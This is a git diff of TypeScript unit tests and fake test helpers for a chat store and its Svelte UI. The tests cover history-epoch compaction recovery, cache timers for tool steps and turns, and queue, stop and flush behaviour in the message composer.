conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -528,7 +587,7 @@ describe("createChatStore", () => {
store.dispose();
});
- it("overlapping syncs are guarded", async () => {
+ it("overlapping syncs coalesce into a sequential rerun", async () => {
const transport = createFakeTransport();
const _historySync = createFakeHistorySync();
const metricsSync = createFakeMetricsSync();
@@ -546,10 +605,11 @@ describe("createChatStore", () => {
if (callCount === 1) {
await firstSyncPromise;
}
- return { chunks: [], latestSeq: sinceSeq };
+ return { chunks: [], latestSeq: sinceSeq, historyEpoch: 0 };
};
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: slowHistorySync,
@@ -573,7 +633,7 @@ describe("createChatStore", () => {
// Release the first sync
resolveFirstSync?.();
- await new Promise((r) => setTimeout(r, 10));
+ await vi.waitFor(() => expect(callCount).toBe(2));
store.dispose();
});
@@ -584,6 +644,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -629,6 +690,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
model: "openai/gpt-4",
transport: transport.impl,
@@ -653,6 +715,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -676,6 +739,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -706,6 +770,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -726,6 +791,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -750,6 +816,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -788,6 +855,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -849,6 +917,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -893,6 +962,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -965,6 +1035,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1031,6 +1102,7 @@ describe("createChatStore", () => {
];
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1055,6 +1127,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1086,6 +1159,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1110,6 +1184,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1144,6 +1219,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1190,6 +1266,7 @@ describe("createChatStore", () => {
const cache = createFakeCache();
let atBottom = false; // reader scrolled up
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1244,6 +1321,7 @@ describe("createChatStore", () => {
const cache = createFakeCache();
let atBottom = false;
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1282,6 +1360,7 @@ describe("createChatStore", () => {
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1311,6 +1390,7 @@ describe("createChatStore", () => {
historySync.returnChunks = Array.from({ length: 500 }, (_, i) => makeStoredChunk(i + 1));
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1346,6 +1426,7 @@ describe("createChatStore", () => {
historySync.returnChunks = [makeStoredChunk(3)];
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1370,6 +1451,7 @@ describe("createChatStore", () => {
historySync.returnChunks = Array.from({ length: 500 }, (_, i) => makeStoredChunk(i + 1));
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1407,6 +1489,7 @@ describe("createChatStore", () => {
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1439,6 +1522,7 @@ describe("createChatStore", () => {
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1470,6 +1554,7 @@ describe("createChatStore", () => {
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1502,6 +1587,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1539,6 +1625,7 @@ describe("createChatStore", () => {
Array.from({ length: 200 }, (_, i) => makeStoredChunk(i + 1)),
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1570,6 +1657,7 @@ describe("createChatStore", () => {
// Server holds 200; cold-cache load at limit 100 → window 75 → seqs 126..200.
historySync.returnChunks = Array.from({ length: 200 }, (_, i) => makeStoredChunk(i + 1));
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1597,6 +1685,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1636,6 +1725,7 @@ describe("createChatStore", () => {
Array.from({ length: 50 }, (_, i) => makeStoredChunk(i + 1)),
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1645,6 +1735,7 @@ describe("createChatStore", () => {
});
await store.load(); // only 50 chunks → all loaded, window starts at seq 1
expect(store.chunks).toHaveLength(50);
+ await store.showEarlier(); // Probe server exhaustion; seq 1 alone is not a boundary.
expect(store.hasEarlier).toBe(false);
const callsAfterLoad = historySync.calls.length;
@@ -1662,6 +1753,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1691,6 +1783,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1712,6 +1805,7 @@ describe("createChatStore — batched delta application (scheduleFlush)", () =>
const scheduled: (() => void)[] = [];
const historySync = createFakeHistorySync();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: createFakeTransport().impl,
historySync: historySync.impl,
@@ -1789,3 +1883,383 @@ describe("createChatStore — batched delta application (scheduleFlush)", () =>
expect(store.chunks).toHaveLength(0);
});
});
+
+describe("createChatStore — cacheTimer", () => {
+ function makeStore(now: () => number) {
+ return createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: createFakeHistorySync().impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ now,
+ });
+ }
+ const call = (stepId: string, toolCallId: string) =>
+ deltaEvent({
+ type: "tool-call",
+ conversationId: CONV_ID,
+ turnId: "t1",
+ stepId: stepId as StepId,
+ toolCallId,
+ toolName: "read_file",
+ input: {},
+ });
+ const result = (stepId: string, toolCallId: string) =>
+ deltaEvent({
+ type: "tool-result",
+ conversationId: CONV_ID,
+ turnId: "t1",
+ stepId: stepId as StepId,
+ toolCallId,
+ toolName: "read_file",
+ content: "ok",
+ isError: false,
+ });
+ const stepComplete = (stepId: string) =>
+ deltaEvent({
+ type: "step-complete",
+ conversationId: CONV_ID,
+ turnId: "t1",
+ stepId: stepId as StepId,
+ });
+ const done = (turnId: string) =>
+ deltaEvent({ type: "done", conversationId: CONV_ID, turnId, reason: "end-turn" });
+
+ it("is idle until something happens", () => {
+ const store = makeStore(() => 1000);
+ expect(store.cacheTimer.running).toBeNull();
+ store.handleDelta(deltaEvent({ type: "turn-start", conversationId: CONV_ID, turnId: "t1" }));
+ expect(store.cacheTimer.running).toBeNull();
+ store.dispose();
+ });
+
+ it("times a step's tool execution with the injected clock and stamps it", () => {
+ let clock = 0;
+ const store = makeStore(() => clock);
+ store.handleDelta(call("t1#0", "a"));
+ clock = 1_000;
+ store.handleDelta(stepComplete("t1#0"));
+ expect(store.cacheTimer.running).toMatchObject({ kind: "step", startedAt: 1_000 });
+ clock = 31_000;
+ store.handleDelta(result("t1#0", "a"));
+ expect(store.cacheTimer.running).toBeNull();
+ expect(store.cacheTimer.stepStamps.get("t1#0")).toBe(30_000);
+ store.dispose();
+ });
+
+ it("starts a turn gap on done and stamps it on send", () => {
+ let clock = 5_000;
+ const store = makeStore(() => clock);
+ store.handleDelta(done("t1"));
+ expect(store.cacheTimer.running).toEqual({ kind: "turn", turnId: "t1", startedAt: 5_000 });
+ clock = 125_000;
+ store.send("next");
+ expect(store.cacheTimer.running).toBeNull();
+ expect(store.cacheTimer.turnStamps.get("t1")).toBe(120_000);
+ store.dispose();
+ });
+
+ it("ignores another conversation's events", () => {
+ const store = makeStore(() => 5_000);
+ store.handleDelta(
+ deltaEvent({ type: "done", conversationId: "other", turnId: "t1", reason: "end-turn" }),
+ );
+ expect(store.cacheTimer.running).toBeNull();
+ store.dispose();
+ });
+
+ it("noteLastActivity seeds a turn gap, keeps the later start, and is ignored while generating", () => {
+ const store = makeStore(() => 5_000);
+ store.noteLastActivity(3_000);
+ expect(store.cacheTimer.running).toEqual({ kind: "turn", turnId: null, startedAt: 3_000 });
+ store.handleDelta(done("t1"));
+ expect(store.cacheTimer.running).toEqual({ kind: "turn", turnId: "t1", startedAt: 5_000 });
+ store.noteLastActivity(4_000); // an older seed never rewinds it
+ expect(store.cacheTimer.running).toMatchObject({ startedAt: 5_000 });
+ store.dispose();
+
+ const busy = makeStore(() => 5_000);
+ busy.handleDelta(deltaEvent({ type: "turn-start", conversationId: CONV_ID, turnId: "t2" }));
+ busy.noteLastActivity(4_000);
+ expect(busy.cacheTimer.running).toBeNull();
+ busy.dispose();
+ });
+});
+
+describe("history epochs", () => {
+ it.each([
+ "tail",
+ "backfill",
+ ])("recovers missed compaction on %s and exhausts non-1 history", async (path) => {
+ const history = createFakeHistorySync();
+ const cache = createFakeCache();
+ history.returnChunks = Array.from({ length: 20 }, (_, i) => makeStoredChunk(i + 1));
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: cache.impl,
+ chatLimit: 10,
+ });
+ await store.load();
+ history.historyEpoch = 1;
+ history.returnChunks = [makeStoredChunk(101), makeStoredChunk(102)];
+ if (path === "tail") {
+ store.resync();
+ await vi.waitFor(() => expect(store.chunks[0]?.seq).toBe(101));
+ } else await store.showEarlier();
+ expect(store.chunks.map((c) => c.seq)).toEqual([101, 102]);
+ expect((await cache.impl.load(CONV_ID)).map((c) => c.seq)).toEqual([101, 102]);
+ expect(history.calls.at(-1)).toMatchObject({ sinceSeq: 0, window: { limit: 7 } });
+ expect(store.hasEarlier).toBe(false);
+ const calls = history.calls.length;
+ await store.showEarlier();
+ expect(history.calls).toHaveLength(calls);
+ store.dispose();
+ });
+});
+
+it("a compaction broadcast during an in-flight fetch discards the old response", async () => {
+ const history = createFakeHistorySync();
+ history.returnChunks = [makeStoredChunk(101)];
+ let resolve!: (res: import("@dispatch/transport-contract").ConversationHistoryResponse) => void;
+ const first = new Promise<import("@dispatch/transport-contract").ConversationHistoryResponse>(
+ (r) => {
+ resolve = r;
+ },
+ );
+ const sync = vi
+ .fn<import("./ports").HistorySync>()
+ .mockImplementationOnce(() => first)
+ .mockImplementation(history.impl);
+ const cache = createFakeCache();
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: sync,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: cache.impl,
+ });
+ const loading = store.load();
+ await vi.waitFor(() => expect(sync).toHaveBeenCalledTimes(1));
+ history.historyEpoch = 1;
+ store.resync(1);
+ resolve({ chunks: [makeStoredChunk(1)], latestSeq: 1, historyEpoch: 0 });
+ await loading;
+ expect(sync).toHaveBeenCalledTimes(2);
+ expect(store.chunks.map((c) => c.seq)).toEqual([101]);
+ expect((await cache.impl.load(CONV_ID)).map((c) => c.seq)).toEqual([101]);
+ store.dispose();
+});
+
+it("reloads unknown legacy cache epochs rather than merging pre-upgrade rows", async () => {
+ vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+ const storage = createIdbChunkStore({ indexedDB: new IDBFactory() });
+ const cache = createConversationCache(storage);
+ await storage.append(CONV_ID, [makeStoredChunk(1)]);
+ const history = createFakeHistorySync();
+ history.returnChunks = [makeStoredChunk(101)];
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache,
+ });
+ try {
+ await store.load();
+ expect(history.calls[0]).toMatchObject({ sinceSeq: 0 });
+ expect(store.chunks.map((c) => c.seq)).toEqual([101]);
+ expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+ expect((await cache.load(CONV_ID)).map((c) => c.seq)).toEqual([101]);
+ } finally {
+ store.dispose();
+ vi.unstubAllGlobals();
+ }
+});
+
+describe("server epoch rollback", () => {
+ it.each([
+ "tail",
+ "backfill",
+ ])("converges on %s with a real cache and a fresh bounded fetch", async (path) => {
+ vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+ const storage = createIdbChunkStore({ indexedDB: new IDBFactory() });
+ const cache = createConversationCache(storage);
+ const old = Array.from({ length: 20 }, (_, i) => makeStoredChunk(i + 1));
+ await cache.commit(CONV_ID, path === "backfill" ? old.slice(-7) : old, 5);
+ const history = createFakeHistorySync();
+ history.historyEpoch = 5;
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache,
+ chatLimit: 10,
+ });
+ try {
+ await store.load();
+ history.historyEpoch = 0;
+ // Recreated ids can reuse seqs with completely different content.
+ const restored: StoredChunk = {
+ seq: 1,
+ role: "user",
+ chunk: { type: "text", text: "restored" },
+ };
+ history.returnChunks = [restored];
+ const before = history.calls.length;
+ if (path === "tail") {
+ store.resync();
+ await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+ } else await store.showEarlier();
+ expect(history.calls.length - before).toBeLessThanOrEqual(2);
+ expect(history.calls.at(-1)).toMatchObject({ sinceSeq: 0, window: { limit: 7 } });
+ expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+ expect(await cache.load(CONV_ID)).toEqual([restored]);
+ expect(store.chunks.map((c) => c.chunk)).toEqual([restored.chunk]);
+ expect(store.hasEarlier).toBe(false);
+ expect(store.error).toBeNull();
+ } finally {
+ store.dispose();
+ vi.unstubAllGlobals();
+ }
+ });
+
+ it("bounds reruns even when every response is invalidated by another compaction", async () => {
+ let calls = 0;
+ let churn = true;
+ let store!: ReturnType<typeof createChatStore>;
+ const sync: import("./ports").HistorySync = async () => {
+ calls++;
+ // Stop the old broken loop safely rather than hanging the test worker.
+ if (churn && calls <= 6) store.resync(calls);
+ return { chunks: [], latestSeq: 0, historyEpoch: calls - 1 };
+ };
+ store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: sync,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ });
+ try {
+ await store.load();
+ expect(calls).toBe(3);
+ expect(store.pendingSync).toBe(false);
+ expect(store.error).toMatch(/history changed repeatedly/i);
+ churn = false;
+ store.resync();
+ await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+ expect(calls).toBe(4);
+ expect(store.error).toBeNull();
+ } finally {
+ store.dispose();
+ }
+ });
+});
+
+it.each([
+ "tail",
+ "backfill",
+])("rejects a delayed old %s after a lower-epoch history is observed", async (delayed) => {
+ vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+ const cache = createConversationCache(createIdbChunkStore({ indexedDB: new IDBFactory() }));
+ await cache.commit(
+ CONV_ID,
+ Array.from({ length: 7 }, (_, i) => makeStoredChunk(14 + i)),
+ 5,
+ );
+ const restored: StoredChunk = {
+ seq: 1,
+ role: "user",
+ chunk: { type: "text", text: "new history" },
+ };
+ type Response = import("@dispatch/transport-contract").ConversationHistoryResponse;
+ let resolve!: (res: Response) => void;
+ const slow = new Promise<Response>((r) => {
+ resolve = r;
+ });
+ let delayNext = false;
+ let epoch = 5;
+ const sync = vi.fn<import("./ports").HistorySync>().mockImplementation(async () => {
+ if (delayNext) {
+ delayNext = false;
+ return slow;
+ }
+ return {
+ chunks: epoch === 5 ? [] : [restored],
+ latestSeq: epoch === 5 ? 20 : 1,
+ historyEpoch: epoch,
+ };
+ });
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: sync,
+ metricsSync: createFakeMetricsSync().impl,
+ cache,
+ chatLimit: 10,
+ });
+ try {
+ await store.load();
+ delayNext = true;
+ let earlier: Promise<void>;
+ if (delayed === "tail") {
+ store.resync();
+ await vi.waitFor(() => expect(sync).toHaveBeenCalledTimes(2));
+ epoch = 0;
+ earlier = store.showEarlier();
+ await earlier; // Invalidates the old tail and requests a sequential rerun.
+ } else {
+ earlier = store.showEarlier();
+ await vi.waitFor(() => expect(sync).toHaveBeenCalledTimes(2));
+ epoch = 0;
+ store.resync();
+ await vi.waitFor(() => expect(store.chunks.map((c) => c.chunk)).toEqual([restored.chunk]));
+ }
+ resolve({ chunks: [makeStoredChunk(21)], latestSeq: 21, historyEpoch: 5 });
+ await earlier;
+ await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+ expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+ expect(await cache.load(CONV_ID)).toEqual([restored]);
+ expect(store.chunks.map((c) => c.chunk)).toEqual([restored.chunk]);
+ expect(sync).toHaveBeenCalledTimes(4);
+ } finally {
+ store.dispose();
+ vi.unstubAllGlobals();
+ }
+});
+
+it("replaces an empty high-epoch cache with the server's empty lower epoch in one request", async () => {
+ const cache = createConversationCache(createIdbChunkStore({ indexedDB: new IDBFactory() }));
+ await cache.reset(CONV_ID, 8);
+ const history = createFakeHistorySync();
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache,
+ });
+ try {
+ await store.load();
+ expect(history.calls).toHaveLength(1);
+ expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+ expect(await cache.load(CONV_ID)).toEqual([]);
+ expect(store.chunks).toEqual([]);
+ expect(store.hasEarlier).toBe(false);
+ } finally {
+ store.dispose();
+ }
+});
diff --git a/src/features/chat/test-helpers.ts b/src/features/chat/test-helpers.ts
index c99d1f4..41cfb3b 100644
--- a/src/features/chat/test-helpers.ts
+++ b/src/features/chat/test-helpers.ts
@@ -43,14 +43,22 @@ export interface FakeHistorySync {
readonly calls: Array<{ conversationId: string; sinceSeq: number; window?: HistoryWindow }>;
/** Set the chunks to return on the next call. */
returnChunks: readonly StoredChunk[];
+ historyEpoch: number;
readonly impl: HistorySync;
}
export function createFakeHistorySync(): FakeHistorySync {
const calls: Array<{ conversationId: string; sinceSeq: number; window?: HistoryWindow }> = [];
let returnChunks: readonly StoredChunk[] = [];
+ let historyEpoch = 0;
return {
calls,
+ get historyEpoch() {
+ return historyEpoch;
+ },
+ set historyEpoch(v: number) {
+ historyEpoch = v;
+ },
get returnChunks() {
return returnChunks;
},
@@ -72,7 +80,7 @@ export function createFakeHistorySync(): FakeHistorySync {
chunks = chunks.slice(-window.limit);
}
const latestSeq = chunks.length > 0 ? Math.max(...chunks.map((c) => c.seq)) : sinceSeq;
- return { chunks, latestSeq };
+ return { chunks, latestSeq, historyEpoch };
},
};
}
@@ -122,13 +130,28 @@ export interface FakeCache {
export function createFakeCache(): FakeCache {
const store = new Map<string, StoredChunk[]>();
+ const epochs = new Map<string, number>();
return {
store,
impl: {
+ async historyEpoch(id) {
+ return epochs.get(id) ?? 0;
+ },
+ async reset(id, epoch) {
+ store.delete(id);
+ epochs.set(id, epoch);
+ },
+ async replace(id, incoming, epoch, expectedEpoch) {
+ if ((epochs.get(id) ?? 0) !== expectedEpoch) return false;
+ store.set(id, [...incoming]);
+ epochs.set(id, epoch);
+ return true;
+ },
async load(conversationId) {
return store.get(conversationId) ?? [];
},
- async commit(conversationId, incoming) {
+ async commit(conversationId, incoming, epoch) {
+ if (epoch !== undefined) epochs.set(conversationId, epoch);
const existing = store.get(conversationId) ?? [];
const seen = new Set(existing.map((c) => c.seq));
const toAppend = incoming.filter((c) => !seen.has(c.seq));
diff --git a/src/features/chat/ui.test.ts b/src/features/chat/ui.test.ts
index 91585e2..74c0619 100644
--- a/src/features/chat/ui.test.ts
+++ b/src/features/chat/ui.test.ts
@@ -3,8 +3,13 @@ import { render, screen, within } from "@testing-library/svelte";
import userEvent from "@testing-library/user-event";
import { describe, expect, it, vi } from "vitest";
import type { RenderedChunk } from "../../core/chunks";
-import type { TurnMetricsEntry } from "../../core/metrics";
+import {
+ type CacheTimerState,
+ initialCacheTimerState,
+ type TurnMetricsEntry,
+} from "../../core/metrics";
import type { ConvertedJpeg } from "./adapter/image-encode";
+import CacheTimerBadge from "./ui/CacheTimerBadge.svelte";
import ChatView from "./ui/ChatView.svelte";
import Composer from "./ui/Composer.svelte";
import ModelSelector from "./ui/ModelSelector.svelte";
@@ -51,6 +56,25 @@ describe("ChatView", () => {
expect(screen.getByText("Hello!")).toBeInTheDocument();
});
+ it("renders local-path Markdown images through the backend image route", () => {
+ const chunks: RenderedChunk[] = [
+ {
+ seq: 1,
+ role: "assistant",
+ chunk: { type: "text", text: "![pic](/home/u/pic.png)" },
+ provisional: false,
+ },
+ ];
+
+ const { container } = render(ChatView, {
+ props: { chunks, apiBaseUrl: "http://localhost:24203", cwd: "/w/foo" },
+ });
+
+ expect(container.querySelector("img")?.getAttribute("src")).toBe(
+ "http://localhost:24203/local-image?path=%2Fhome%2Fu%2Fpic.png",
+ );
+ });
+
it("shows the show-earlier button only when earlier history is unloaded, and pages it in", async () => {
const chunks: RenderedChunk[] = [
{ seq: 26, role: "user", chunk: { type: "text", text: "later" }, provisional: false },
@@ -825,6 +849,57 @@ describe("ChatView", () => {
});
describe("Composer", () => {
+ it.each([
+ "running",
+ "queued",
+ ] as const)("relabels Stop only with queued input while %s and preserves its action", async (status) => {
+ const onStop = vi.fn();
+ const onSend = vi.fn();
+ const onQueue = vi.fn();
+ const user = userEvent.setup();
+ const { rerender } = render(Composer, { props: { onSend, onQueue, onStop, status } });
+ const expectPlainStop = () => {
+ const button = screen.getByRole("button", { name: "Stop generation" });
+ expect(button).toHaveTextContent(/^Stop$/);
+ expect(button).not.toHaveAttribute("title");
+ };
+ expectPlainStop(); // No queue snapshot available.
+ await rerender({ queuedMessageCount: 0 });
+ expectPlainStop();
+ await user.click(screen.getByRole("button", { name: "Stop generation" }));
+ expect(onStop).toHaveBeenCalledTimes(1);
+
+ for (const queuedMessageCount of [1, 2]) {
+ await rerender({ queuedMessageCount });
+ const button = screen.getByRole("button", { name: "Flush" });
+ expect(button).toHaveTextContent(/^Flush$/);
+ expect(button).toHaveAttribute(
+ "title",
+ "Stop the current response and start the queued message now",
+ );
+ }
+ await user.click(screen.getByRole("button", { name: "Flush" }));
+ expect(onStop).toHaveBeenCalledTimes(2);
+ expect(onSend).not.toHaveBeenCalled();
+ expect(onQueue).not.toHaveBeenCalled();
+
+ const input = screen.getByRole("textbox", { name: "Message input" });
+ await user.type(input, "next");
+ expect(screen.getByRole("button", { name: "Queue" })).toBeInTheDocument();
+ expect(screen.queryByRole("button", { name: "Flush" })).toBeNull();
+ await user.click(screen.getByRole("button", { name: "Queue" }));
+ expect(onQueue).toHaveBeenCalledExactlyOnceWith("next", undefined);
+ expect(screen.getByRole("button", { name: "Flush" })).toBeInTheDocument();
+ await rerender({ queuedMessageCount: 0 });
+ expectPlainStop(); // Queue drained or cancelled.
+ await rerender({ queuedMessageCount: 1, status: "idle" });
+ expect(screen.getByRole("button", { name: "Send" })).toBeDisabled();
+ await rerender({ status: "error" });
+ expect(screen.getByRole("button", { name: "Send" })).toBeDisabled();
+ await rerender({ status, queuedMessageCount: undefined });
+ expectPlainStop();
+ });
+
it("calls onSend with the typed text and clears", async () => {
const onSend = vi.fn();
const user = userEvent.setup();
@@ -1005,17 +1080,28 @@ describe("Composer", () => {
expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
});
- it("queues (steers) text-only and never forwards images", async () => {
- // While running, the Send button becomes "Queue"; steering is text-only.
+ it("still queues text-only with images omitted", async () => {
+ const onQueue = vi.fn();
+ const onSend = vi.fn();
+ const user = userEvent.setup();
+ render(Composer, { props: { onSend, onQueue, status: "running" } });
+ await user.type(screen.getByRole("textbox", { name: "Message input" }), "steer{Enter}");
+ expect(onQueue).toHaveBeenCalledExactlyOnceWith("steer", undefined);
+ expect(onSend).not.toHaveBeenCalled();
+ });
+
+ it("queues text and images while running and clears the composer", async () => {
const onQueue = vi.fn();
const onSend = vi.fn();
const user = userEvent.setup();
- const { container } = render(Composer, { props: { onSend, onQueue, status: "running" } });
+ const { container } = render(Composer, {
+ props: { onSend, onQueue, status: "running", encodeJpeg: async () => null },
+ });
const textarea = screen.getByRole("textbox", { name: "Message input" });
await user.type(textarea, "steer here");
- // Also stage an image — it must NOT be forwarded on a queue.
+ // Stage an image along with the steering text.
const file = new File(["PNG"], "shot.png", { type: "image/png" });
const input = container.querySelector('input[type="file"]') as HTMLInputElement;
Object.defineProperty(input, "files", { value: [file], writable: false });
@@ -1025,8 +1111,66 @@ describe("Composer", () => {
});
await user.click(screen.getByRole("button", { name: "Queue" }));
- expect(onQueue).toHaveBeenCalledWith("steer here");
+ expect(onQueue).toHaveBeenCalledExactlyOnceWith("steer here", [
+ { url: "data:image/png;base64,UE5H", mimeType: "image/png" },
+ ]);
+ expect(onSend).not.toHaveBeenCalled();
+ expect(textarea).toHaveValue("");
+ expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
+ });
+
+ it.each(["running", "queued"] as const)("queues images-only while %s", async (status) => {
+ const onQueue = vi.fn();
+ const onSend = vi.fn();
+ const user = userEvent.setup();
+ const { container } = render(Composer, { props: { onSend, onQueue, status } });
